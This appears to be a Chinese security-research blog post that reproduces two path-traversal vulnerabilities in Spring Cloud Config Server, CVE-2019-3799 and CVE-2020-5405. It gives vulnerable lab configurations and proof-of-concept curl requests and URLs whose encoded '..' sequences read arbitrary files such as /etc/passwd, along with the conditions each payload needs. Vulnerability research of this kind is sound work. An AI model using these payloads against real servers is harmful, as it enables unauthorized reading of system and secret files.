spring-cloud-confg-server目录穿越(CVE-2019-3799 and CVE-2020-5405)

spring-cloud-confg-server目录穿越(CVE-2019-3799 and CVE-2020-5405)

一、CVE-2019-3799

环境搭建

  1. pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.0.3.RELEASE</version>
<relativePath/>
</parent>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-config-server</artifactId>
<version>2.0.3.RELEASE</version>
</dependency>
</dependencies>
  1. application.yml

PS:无论是native本地存储还是git仓库都可以

1
2
3
4
5
6
7
8
9
10
11
12
spring:
profiles:
active: native
cloud:
config:
server:
native:
search-locations: file:///tmp
# git:
# uri: https://github.com/threedr3am/share-project
server:
port: 9988

  1. Application
1
2
3
4
5
6
7
8
@EnableConfigServer
@SpringBootApplication
public class Application {

public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}

POC

1
2
3
4
5
6
7
8
/**
* 触发点 org.springframework.cloud.config.server.resource.ResourceController
*
* url中第三个label,也就是/{application}/{profile}/{label}/..%252f..%252fetc%252fpasswd中的label需要存在的分支,
* 一般情况下master存在,因此url为:/threedr3am/dev/master/..%252f..%252f..%252f..%252f..%252f../etc/passwd
*
* @author threedr3am
*/

二、CVE-2020-5405

环境搭建

  1. pom.xml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.2.1.RELEASE</version>
<relativePath/>
</parent>

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.cloud</groupId>
<artifactId>spring-cloud-config-server</artifactId>
<version>2.2.1.RELEASE</version>
</dependency>
</dependencies>
  1. application.yml
1
2
3
4
5
6
7
8
9
10
spring:
profiles:
active: native
cloud:
config:
server:
native:
search-locations: file:///tmp/{label},file:///tmp/{application},file:///tmp/{profiles}
server:
port: 9988
  1. Application
1
2
3
4
5
6
7
8
@EnableConfigServer
@SpringBootApplication
public class Application {

public static void main(String[] args) {
SpringApplication.run(Application.class, args);
}
}

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
/**
*
* 漏洞点在 org.springframework.cloud.config.server.environment.NativeEnvironmentRepository#getLocations(java.lang.String, java.lang.String, java.lang.String)
* 看新版本的patch可以看到,对于location做了和path同样的判断
* @Override
* public synchronized Resource findOne(String application, String profile, String label,
* String path) {
*
* ...
* String location = locations[i];
* if (isInvalidEncodedLocation(location)) {
* continue;
* }
* ...
* }
*
* org.springframework.cloud.config.server.resource.GenericResourceRepository#isInvalidEncodedLocation
*
* 利用点1:
* curl http://127.0.0.1:9988/foo/profiles/%252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp/aaa.xxx
* 读取/User/xuanyonghao/tmp/aaa.xxx文件
* foo 对应 {application}
* profiles 对应 {profiles}
* %252f..%252f..%252f..%252fUsers%252fxuanyonghao%252ftmp 对应 {label}
*
* todo 条件限制:
* todo 1. 文件必须有后缀,也就是.txt等等。
* todo 2. cloud: config: server: native: search-locations: file:///tmp/{label},此处的目录需要有{application}或{profiles}或{label},因为在上述触发点会对url对应段进行替换进来location,导致目录穿越,但是会限制文件后缀
*
* 利用点2:
* org.springframework.cloud.config.server.resource.ResourceController#resolveLabel(java.lang.String)
* 利用此处把label处的(_)替换为/
*
* curl http://127.0.0.1:9988/foo/profiles/..%28_%29Users%28_%29xuanyonghao%28_%29tmp/aaa.xxx
*
* todo 条件限制:
* todo 1. 文件必须有后缀,也就是.txt等等。
* todo 2. 不像利用点1处,不需要配置{application}{profiles}{label}
* @author threedr3am
*/